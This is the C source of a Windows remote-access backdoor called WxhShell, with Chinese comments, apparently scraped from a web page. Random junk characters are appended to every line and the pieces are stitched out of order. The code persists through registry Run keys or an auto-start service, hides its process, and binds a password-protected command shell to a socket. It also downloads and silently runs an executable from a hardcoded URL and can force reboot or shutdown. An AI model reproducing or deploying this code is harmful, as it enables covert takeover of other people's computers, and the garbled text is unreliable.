    send(wsh,msg_ws_err,strlen(msg_ws_err),0); + <E zv  
    else { :ZB.I(v  
    closesocket(wsh); `{ >/'o  
    ExitThread(0); `|AH3v1  
    } 3]JJCaf  
    break; ."BXA8c;A  
    } juF=ZW%i  
  // 关机 5&EBU l}  
  case 'd': { 3$YbEl@#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0<@['W}G  
    if(Boot(SHUTDOWN)) ,T zlW\?\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I|&DXF  
    else { T|BlFJ0"  
    closesocket(wsh); -A<@Pg  
    ExitThread(0); 7"aN7Q+EbI  
    } &gS-.{w "  
    break; N.z2eo  
    } l"dXL"h  
  // 获取shell c\rP -"C  
  case 's': { }UGSE2^1  
    CmdShell(wsh); 4<UAT|L^`  
    closesocket(wsh); P nE7}  
    ExitThread(0); T>(X`(  
    break; v8 =#1YB;  
  } ZLKbF9lo  
  // 退出 >S}X)4  
  case 'x': { Pb T2- F_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @o?Y[BR  
    CloseIt(wsh); 7.G"U  
    break; ?b(wZ-/  
    } PbvA~gm  
  // 离开 DN=W2MEfc  
  case 'q': { |gxPuAXa)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H"w;~;h  
    closesocket(wsh); ;Qt/(/  
    WSACleanup(); ](s5 ;ta   
    exit(1); .K4)#oC  
    break; T`]%$$1s  
        } _qf~ hhi  
  } mpk+]n@  
  } nTGf   
)mN/e+/Lu  
  // 提示信息 =EYgck;)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b#6mUl2  
} ;J+iwS*Z  
  } s Adb0 A  
}8}`A\ dgV  
  return; J^#g?RHN>m  
} \DE, ,  
2eRk_j]  
// shell模块句柄 ;?iu@h  
int CmdShell(SOCKET sock) ]CcRI|g}  
{ nJv=kk1|o  
STARTUPINFO si; Y$,~"$su|  
ZeroMemory(&si,sizeof(si)); L{IMZ+IB2|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6l4=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YGQ/zB^Pj  
PROCESS_INFORMATION ProcessInfo; PY '^:0  
char cmdline[]="cmd"; Zi]E!Tgn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v\G 7V  
  return 0; g&w~eWpk  
} Ici4y*`M  
[ t8]'RI%  
// 自身启动模式 J{a9pr6  
int StartFromService(void) =c,7uB  
{ D{7^y>8_Y-  
typedef struct <a_ (qh@B  
{ "v0bdaQH3  
  DWORD ExitStatus; ,m0 M:!hK  
  DWORD PebBaseAddress; mc2uI-W  
  DWORD AffinityMask; Ex]Ku  
  DWORD BasePriority; ~AaEa,LQ  
  ULONG UniqueProcessId; T ?A3f]U  
  ULONG InheritedFromUniqueProcessId; OUwnVAZZ6  
}   PROCESS_BASIC_INFORMATION; cg]Gt1SU  
JURu>-i  
PROCNTQSIP NtQueryInformationProcess; j$6Q]5KdoS  
kQ&Q_FSO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U8>4ClJ4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ` wj'  
#>G:6'r  
  HANDLE             hProcess; pQ^V<6z}  
  PROCESS_BASIC_INFORMATION pbi; 3]}RjOTU  
|Axbx?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~bzac2Rp  
  if(NULL == hInst ) return 0; *m>[\)  
mb3aUFxA;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2PeMt^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !^NZp%Yd  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Hiwij,1  
4=y&}3om(0  
  if (!NtQueryInformationProcess) return 0; 8[AU`F8W  
s%vy^x29  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Cq<Lj  
  if(!hProcess) return 0; &'Nzw2  
>e-0A  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |}YxxeAk  
G9j f]Ye;  
  CloseHandle(hProcess); )'7Qd(4WT  
?A.ah  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {=&( { cS  
if(hProcess==NULL) return 0; }Cfl|t<5f  
$7Z-Nn38  
HMODULE hMod; 6#jql  
char procName[255]; x2HISxg  
unsigned long cbNeeded; PMbq5  
%Q}(.h%M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ld|GY>rH  
?5};ONjN  
  CloseHandle(hProcess); #J5_z#-Q;  
hHDLrr  
if(strstr(procName,"services")) return 1; // 以服务启动 ,|z zq@fk  
qZV|}M>P)  
  return 0; // 注册表启动 g;[t1~oF  
} ofz?L#:2  
Q*'OY~  
// 主模块 ;0 +Dx~  
int StartWxhshell(LPSTR lpCmdLine) km^ZF<.@  
{ SS _6VE*sI  
  SOCKET wsl; Xj30bt  
BOOL val=TRUE; ([rSYKpi  
  int port=0; : #n>Q1}x  
  struct sockaddr_in door; Tw*p^rU  
*$;Zk!sEF  
  if(wscfg.ws_autoins) Install(); %2\Pe 2Z  
K/}x'*=  
port=atoi(lpCmdLine); {^;7DV:  
?uJX  
if(port<=0) port=wscfg.ws_port; 2Ir*}s2{  
C+`V?rp=s  
  WSADATA data; bF,.6iKI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -,g.39u  
.YB/7-%M[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .rwW5"RPq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Nq9M$Nt]  
  door.sin_family = AF_INET; k*,+ag*j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); EASmB  
  door.sin_port = htons(port); ; 5[W*,7s  
z`Nss o=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $II ~tO  
closesocket(wsl); >RJ&b  
return 1; {=gJGP/}_  
} .EjR<UU  
)^6Os2  
  if(listen(wsl,2) == INVALID_SOCKET) { Kf$(7FT'`  
closesocket(wsl); L5|g \Y`  
return 1; fsnZHL}=n  
} HmU6:8V *Z  
  Wxhshell(wsl); #D{Eq8dp  
  WSACleanup(); 9Nv?j=*$  
'+g[n  
return 0; v*As:;D_  
~mK +Q%G5  
} FQ47j)p;  
K:AP 0Te  
// 以NT服务方式启动 Nx*1m BC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <_=O0 t| 6  
{ *0V'rH)  
DWORD   status = 0; 61gyx6v  
  DWORD   specificError = 0xfffffff; &^ s8V]^  
K@Q%NK,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; iG~&uEAJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; OqF8KJnO;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }'>mT,ytgk  
  serviceStatus.dwWin32ExitCode     = 0; *W,[k&;:  
  serviceStatus.dwServiceSpecificExitCode = 0; Hmx.BBz  
  serviceStatus.dwCheckPoint       = 0; <X& fs*x&  
  serviceStatus.dwWaitHint       = 0; ^rjUye%EK  
/PR 4ILed  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U:c 0s  
  if (hServiceStatusHandle==0) return; O1DUBRli!q  
yxf #@Je"  
status = GetLastError(); utC^wA5U~  
  if (status!=NO_ERROR) 15' fU!  
{ iAXGf V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; oZl%0Uy?9I  
    serviceStatus.dwCheckPoint       = 0; :!?Fq/!  
    serviceStatus.dwWaitHint       = 0; El :% \hGy  
    serviceStatus.dwWin32ExitCode     = status; +$2`"%nBG  
    serviceStatus.dwServiceSpecificExitCode = specificError; m9&%A0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mV4gw'.;7  
    return;  P7/Xh3  
  } E?BF8t_fTE  
hy$VG%b;#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f4+wP/n&  
  serviceStatus.dwCheckPoint       = 0; m^TN6/])  
  serviceStatus.dwWaitHint       = 0; &_hEM~{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); oJ" D5d,  
} ZB/1I;l`c  
%Lh+W<;  
// 处理NT服务事件,比如:启动、停止 }?c%L8\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =]pEvj9o  
{ ZZCm438  
switch(fdwControl) Zt=P 0  
{ +KNd%AJ  
case SERVICE_CONTROL_STOP: EdSUBoWF}  
  serviceStatus.dwWin32ExitCode = 0; zM<L_l&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +qT+iHa|n  
  serviceStatus.dwCheckPoint   = 0; \$ss  
  serviceStatus.dwWaitHint     = 0; X{6a  
  { -:J<JX)o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 72*j6#zS  
  } KMQPA>w#  
  return; T,vh=UF%]  
case SERVICE_CONTROL_PAUSE: Q |S>C%4?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; BS?$eai@:9  
  break; 2Yd@ V}  
case SERVICE_CONTROL_CONTINUE: [cl+AV "  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9e vQQN6D|  
  break; )N1iGJO)  
case SERVICE_CONTROL_INTERROGATE: oj)(.X<8N  
  break; ib!TXWq  
}; KH=3HN}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $\~cWpv  
} Tm7LaM  
x7`+T 1IJ  
// 标准应用程序主函数 9$C?)XKXB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }:;UnE}  
{ 4*5e0:O  
?.lo[X<,*  
// 获取操作系统版本 LEOa=(mN\  
OsIsNt=GetOsVer(); l+hOD{F4pS  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Em5,Zr_  
u%I%4 gM  
  // 从命令行安装 #e,TS`"eD  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;'08-Et  
khD)x0'b  
  // 下载执行文件 g#7Q-n3^  
if(wscfg.ws_downexe) { tLq]#9kL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #Er"i  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6KXW]a `  
} A,=> |&*  
u GqeT#dP  
if(!OsIsNt) { /{R.   
// 如果时win9x,隐藏进程并且设置为注册表启动 i1m>|[@k  
HideProc(); F[!%,-*  
StartWxhshell(lpCmdLine); tm2lxt  
} ,Oy$q~.  
else EBz4k)@m  
  if(StartFromService()) Iw h0PfWJ  
  // 以服务方式启动 bX(/2_l  
  StartServiceCtrlDispatcher(DispatchTable); BGwD{6`U  
else l"DHG`kb  
  // 普通方式启动 ,R3TFVV!?  
  StartWxhshell(lpCmdLine); X!'C'3X  
t,*1=S5  
return 0; 5 ;XYF0  
} UwF-*(#41  
.QwB7+V4  
">eled)O  
)Ho"b  
=========================================== 4# ]g852  
BT_XqO  
*n7=m=%)  
(6:.u.b  
Th*}U&  
0chpC)#Q3;  
" l}/&6hI+d  
8TP~=qU  
#include <stdio.h> '` 2MxRP  
#include <string.h> x a<KF  
#include <windows.h> O"\_%=X9  
#include <winsock2.h> bGK*1FlH  
#include <winsvc.h> |O oczYf  
#include <urlmon.h> 4\*:Lc,-  
w\eC{,00:  
#pragma comment (lib, "Ws2_32.lib") /4c`[  
#pragma comment (lib, "urlmon.lib") 4Y2I'~'  
T6=|)UTe1  
#define MAX_USER   100 // 最大客户端连接数 V+@}dJS  
#define BUF_SOCK   200 // sock buffer ,Tegrz&G  
#define KEY_BUFF   255 // 输入 buffer 7Hgn/b[?b  
rwP)TJh"  
#define REBOOT     0   // 重启 % -AcA  
#define SHUTDOWN   1   // 关机 1IS1P)4_0  
#\QW <I#/  
#define DEF_PORT   5000 // 监听端口 3!fR'L/i  
Fw{@RQf8  
#define REG_LEN     16   // 注册表键长度 .35~+aqC  
#define SVC_LEN     80   // NT服务名长度 xE^G*<mj:  
vcp{Gf|^  
// 从dll定义API *i:8g(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l>pB\<LL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [MwL=9;!H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R LF6Bc  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KB :JVK^<  
h-;> v.  
// wxhshell配置信息 *ls6k`ymL  
struct WSCFG { L8f+uI   
  int ws_port;         // 监听端口 -s`Wd4AP  
  char ws_passstr[REG_LEN]; // 口令 0Ui_Trlc  
  int ws_autoins;       // 安装标记, 1=yes 0=no ecJjE 56P  
  char ws_regname[REG_LEN]; // 注册表键名 1hgIR^;[b  
  char ws_svcname[REG_LEN]; // 服务名 ,pdzi9@=t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]BbV\#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `Ds=a`^b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mI4GBp  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _|0#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vo\'ycPv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Sk!' 2y*@&  
r,0D I  
}; ol/@)k^s>  
nAl \9#M  
// default Wxhshell configuration L FJ@4]%V  
struct WSCFG wscfg={DEF_PORT, hp(MKfhH  
    "xuhuanlingzhe", ,\P|%yv  
    1, Y<VX.S2kf  
    "Wxhshell", eaDZ^Z Er  
    "Wxhshell", MZ-;'w&Z  
            "WxhShell Service", |UWIV  
    "Wrsky Windows CmdShell Service", fx(8 o+  
    "Please Input Your Password: ", l9=Ka{$^*  
  1, ;w"h n*  
  "http://www.wrsky.com/wxhshell.exe", bO/r1W  
  "Wxhshell.exe" (:`4*xK  
    }; JU^Y27  
VV/T)qEe7>  
// 消息定义模块 qp6'n&^&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H%U  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t`|Rn9-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X;6;v]  
char *msg_ws_ext="\n\rExit."; $fD%18  
char *msg_ws_end="\n\rQuit."; \:1$E[3v  
char *msg_ws_boot="\n\rReboot..."; sfw* _}y  
char *msg_ws_poff="\n\rShutdown..."; x,10o   
char *msg_ws_down="\n\rSave to "; 3MHpP5C  
p19(>|$J  
char *msg_ws_err="\n\rErr!"; Ew PJ|Z^  
char *msg_ws_ok="\n\rOK!"; @Q2E1Uu%  
1) 2-UT  
char ExeFile[MAX_PATH]; V )oXJL  
int nUser = 0; ej kUNCKQt  
HANDLE handles[MAX_USER]; vvxD}p=y  
int OsIsNt; G`0{31us  
rCA!b"C2  
SERVICE_STATUS       serviceStatus; UsU Ri  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9(S=0<  
';Nc;9  
// 函数声明 H@wjZ;R  
int Install(void); yy8BkG(  
int Uninstall(void); K\xM%O?  
int DownloadFile(char *sURL, SOCKET wsh); XBCHJj]k  
int Boot(int flag); {[Ri:^nHgL  
void HideProc(void); ((`{-y\K  
int GetOsVer(void); ,~Xe#e M  
int Wxhshell(SOCKET wsl); |&WYu,QQ4  
void TalkWithClient(void *cs); O]hUOc `k  
int CmdShell(SOCKET sock); H#hpaP;  
int StartFromService(void); Hkia&nz'3  
int StartWxhshell(LPSTR lpCmdLine); UF5_be,D  
5p!{#r6m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r5hkxk'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); DeF`#a0E  
Mpw]dYM  
// 数据结构和表定义 !BkE-9v?w  
SERVICE_TABLE_ENTRY DispatchTable[] = 0Q7<;'m  
{ %_Lz0L64k  
{wscfg.ws_svcname, NTServiceMain}, z$%8'  
{NULL, NULL} D60quEe3%  
}; Eb9h9sjv  
URm<Ji  
// 自我安装 ?_AX;z  
int Install(void) 8i73iTg(  
{ Z9 ws{8@_  
  char svExeFile[MAX_PATH]; ti9e(Jt!O  
  HKEY key; 'G % ]/'_U  
  strcpy(svExeFile,ExeFile); DPW^OgL;  
Lc}hjK  
// 如果是win9x系统,修改注册表设为自启动 L7rr/D  
if(!OsIsNt) { ,D`jlY-1l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6<S-o|Xw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R||$Rfe  
  RegCloseKey(key); M61Nl)|mx&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lc5(^ ~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $X)|`$#pL#  
  RegCloseKey(key); b1IAp>*2l  
  return 0; By7lSbj  
    } _7:Bxx4B  
  } Rh"O$K~  
} i.On{nB"k  
else { 2&:z[d}~H  
)3e_H s+  
// 如果是NT以上系统,安装为系统服务 @]~.-(IMh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;rL1[qwk  
if (schSCManager!=0) ceks~[rP  
{ Z P|k3   
  SC_HANDLE schService = CreateService ]Ri=*KZa  
  ( xV14Y9  
  schSCManager, H'!OEZ  
  wscfg.ws_svcname, )^qXjF  
  wscfg.ws_svcdisp, -WyB2$!(  
  SERVICE_ALL_ACCESS, 7)#JrpTj%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #| g h  
  SERVICE_AUTO_START, _8 K|2$X  
  SERVICE_ERROR_NORMAL, }eZ \~2  
  svExeFile, Jg'#IM  
  NULL, !WlL RkwO  
  NULL, PuZzl%i P3  
  NULL, b+whZtNk7  
  NULL, QwFA0  
  NULL ; t9_*)[  
  ); K-Pcew^?  
  if (schService!=0) &I'J4gk[  
  { K9&Q@3V  
  CloseServiceHandle(schService); VK*H1EH1  
  CloseServiceHandle(schSCManager); `/R. 5;$|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z$m(@Q  
  strcat(svExeFile,wscfg.ws_svcname); w0$+v/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5GJkvZtFY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); snkMxc6c[  
  RegCloseKey(key); n?OMfx  
  return 0; *HV_$^)=  
    } TK'y-5W  
  } IpzU=+h  
  CloseServiceHandle(schSCManager); m$_l{|4z  
} G2!<C-T{2  
} jc:=Pe!E  
4<1V  
return 1; 1l^[%0  
} Z)(#D($-  
45%D^~2~F  
// 自我卸载 M"K$.m@t  
int Uninstall(void) Xu#?Lw  
{ |)jR|8MAE  
  HKEY key; ircL/:  
@Bkg<  
if(!OsIsNt) { RlvvO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T&S=/cRBK}  
  RegDeleteValue(key,wscfg.ws_regname); ^e]O >CJ  
  RegCloseKey(key); wS7Vo{#@\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &y73^"%  
  RegDeleteValue(key,wscfg.ws_regname); ^oq|^O  
  RegCloseKey(key); L?8OWLjRy  
  return 0; DTi^* Wj  
  } vYLspZ;S  
} w0sy@OF  
} 9'|k@i:  
else { oGeV!hD  
/: \27n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rWO#h{  
if (schSCManager!=0) gV:0&g\v  
{ x=W s)&H_Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <]oPr1  
  if (schService!=0) 4V]xVma  
  { (<OmYnm  
  if(DeleteService(schService)!=0) { Z5wQhhH  
  CloseServiceHandle(schService); ~pI`_3  
  CloseServiceHandle(schSCManager); K'"s9b8  
  return 0; $OGMw+$C ^  
  } hlc g[Qdo*  
  CloseServiceHandle(schService); "J}B lB  
  } m\ qR myO  
  CloseServiceHandle(schSCManager); Q>w)b]d~c  
} wax^iL!  
} _q@lP|  
e2nZwPH  
return 1; Bv*VNfUm  
} B<@a&QBTg  
Rdd9JJsVd  
// 从指定url下载文件 =''*'a-P  
int DownloadFile(char *sURL, SOCKET wsh) Y<@_d  
{ l:#'i`;   
  HRESULT hr; slr>6o%W`  
char seps[]= "/"; 0}k vuuR  
char *token; 3_eg'EP.E  
char *file; f e^s`dsG  
char myURL[MAX_PATH]; 1T,Bd!g  
char myFILE[MAX_PATH]; DEfhR?v  
%A&g-4(  
strcpy(myURL,sURL); <x$f D37  
  token=strtok(myURL,seps); m<MN.R7  
  while(token!=NULL) b3GTsX\2|  
  { &s\,+d0  
    file=token; ^b.fci{1m  
  token=strtok(NULL,seps); <X97W\  
  } +@@( C9  
5':j=KQE_  
GetCurrentDirectory(MAX_PATH,myFILE); h=NXU9n%'  
strcat(myFILE, "\\"); 4dSAGLpp  
strcat(myFILE, file); $'a]lR  
  send(wsh,myFILE,strlen(myFILE),0); H3JDA^5  
send(wsh,"...",3,0); 8L@@UUjr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dW^#}kN7V  
  if(hr==S_OK) hNp.%XnnZ  
return 0; IeIv k55  
else lrMkp@ f.  
return 1; d;r,?/C  
Z\)P|#L$  
} yW"}%) d  
;:)u rI?  
// 系统电源模块 9*?YES'6  
int Boot(int flag) 8Tc:TaL  
{ .e S* F  
  HANDLE hToken; )B5U0iIi  
  TOKEN_PRIVILEGES tkp; VOmS>'$  
K<u~[^R  
  if(OsIsNt) { _xP@kN~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n 2(\pQKm  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =G rg  
    tkp.PrivilegeCount = 1; g-+/zEOUS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kw1Lm1C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \]L h a  
if(flag==REBOOT) { #Pq6q.UB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rN {5^+w  
  return 0; `zcpaE.@  
} :\1vy5 _  
else { 34vH+,!u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -r{]9v2j  
  return 0; lWU? R  
} &G+:t)|S  
  } 2|+4xqNJm  
  else { kr]_?B(r  
if(flag==REBOOT) { YdAC<,e&A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ".fnx8v,  
  return 0; p*Hf<)}  
} Tr HUM4  
else { K5d>{c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xkz`is77Y@  
  return 0; q +c~Bd  
} Fw"x4w  
} `+WQ^dP@  
'KNUPi|  
return 1; ?vP }#N!=d  
} e(-Vp7vXG  
YW-Ge  
// win9x进程隐藏模块 bEzy KrN\  
void HideProc(void) ,<CzS,(  
{ ?)+I'lW!  
? ~~,?Uxw!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); NVo =5  
  if ( hKernel != NULL ) <ZeZq  
  { <$'FTv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0OVxx>p/x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7:S)J~s*O  
    FreeLibrary(hKernel); _d3/="=  
  } &eX^ll  
cU=EXyP%  
return; HBgt!D0MZ  
} MqswYK-s  
Y<`uq'V  
// 获取操作系统版本 Y3f2RdGl  
int GetOsVer(void) =)XC"kU p  
{ fTA%HsvU:  
  OSVERSIONINFO winfo; 32):&X"AIh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  qr7_3  
  GetVersionEx(&winfo); q%}54E80  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ? $X1X`@  
  return 1; V 8J!8=2  
  else I!,FxOM|$  
  return 0; I78huYAYA  
} 0SWec7G  
nSV OS6  
// 客户端句柄模块 PF/eQZ*4  
int Wxhshell(SOCKET wsl) 25`6V>\  
{ (K->5rSU  
  SOCKET wsh; ^<'=]?xr  
  struct sockaddr_in client; C&KH.h/N  
  DWORD myID; HA(G q  
mmgIV&P  
  while(nUser<MAX_USER) k:kx=K5=4  
{ /=ro$@  
  int nSize=sizeof(client); ZZ{:f+=?$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n8>( m,  
  if(wsh==INVALID_SOCKET) return 1; q:ZF6o`Z83  
m]:|j[!*M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); th(<S  
if(handles[nUser]==0) WMd5Y`y  
  closesocket(wsh); >`c-Fqk  
else Ucz`^}+  
  nUser++; PWThm ooP  
  } ,v+~vXO&\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); IHtNaN )  
]l4# KI@  
  return 0; F2RU7o'f.  
} |cCrLa2*-  
Aaq!i*y  
// 关闭 socket x0_$,Tz@  
void CloseIt(SOCKET wsh) }*I:0"WH  
{ 0 lsX~d'W  
closesocket(wsh); o72G oUfs  
nUser--; \"@BZ.y  
ExitThread(0); v9s /!<j  
} 7ClN-/4  
PF?tEw_WB  
// 客户端请求句柄 ^X/[x]UOT@  
void TalkWithClient(void *cs) ;y"q uJ'O  
{ Mm+kG'Z!S  
8P= z"y  
  SOCKET wsh=(SOCKET)cs; N v,Yikf  
  char pwd[SVC_LEN]; qkN{l88  
  char cmd[KEY_BUFF]; t1)Qa(#]  
char chr[1]; D|p`~(  
int i,j; 2-*zevPiG=  
+WYXj  
  while (nUser < MAX_USER) { Y^-faL7*\  
0R%R2p'wG  
if(wscfg.ws_passstr) { "eiZZSz  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %;|^*?!J0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B&E qd  
  //ZeroMemory(pwd,KEY_BUFF); ~ g\GC  
      i=0; Gn_rf"  
  while(i<SVC_LEN) { {@c)!% 2$  
xi2!__  
  // 设置超时 hI{M?LQd  
  fd_set FdRead; $($26g  
  struct timeval TimeOut; 3;6Criq}  
  FD_ZERO(&FdRead); Z&!5'_9{V  
  FD_SET(wsh,&FdRead); S-\;f jh  
  TimeOut.tv_sec=8; ')Drv)L  
  TimeOut.tv_usec=0; rmOcA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X>`e(1`_O  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); prx)Cfv  
Z2,[-8,Kx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [80L|?, *  
  pwd=chr[0]; 3~7X2}qU  
  if(chr[0]==0xd || chr[0]==0xa) { mPy=,xYyC  
  pwd=0; D@5AI ](  
  break; ' ?3e1  
  } ivKhzU+  
  i++; YVMwb@|  
    } GDgq 4vfj  
V~> x \  
  // 如果是非法用户,关闭 socket WML%yO\.;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [h>RO55e  
} V]V~q ]  
a.r+>44M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~hSr06IY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D.hj9  
FCu0)\  
while(1) { 4]F:QS% x  
#&A)%Qbg  
  ZeroMemory(cmd,KEY_BUFF); %B&y^mZv*\  
U=4tJb  
      // 自动支持客户端 telnet标准    ahno$[  
  j=0; 3(De> gs$  
  while(j<KEY_BUFF) { Q,# )  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zCZ]`  
  cmd[j]=chr[0]; Dl2`b">u  
  if(chr[0]==0xa || chr[0]==0xd) { $d]3ek/  
  cmd[j]=0; brk>oM;t  
  break; >8$]g  
  } e^?0uVxS1  
  j++; pDlU*&  
    } Ka|WT|1  
Lb2bzZbhx  
  // 下载文件 K/+Y9JP9  
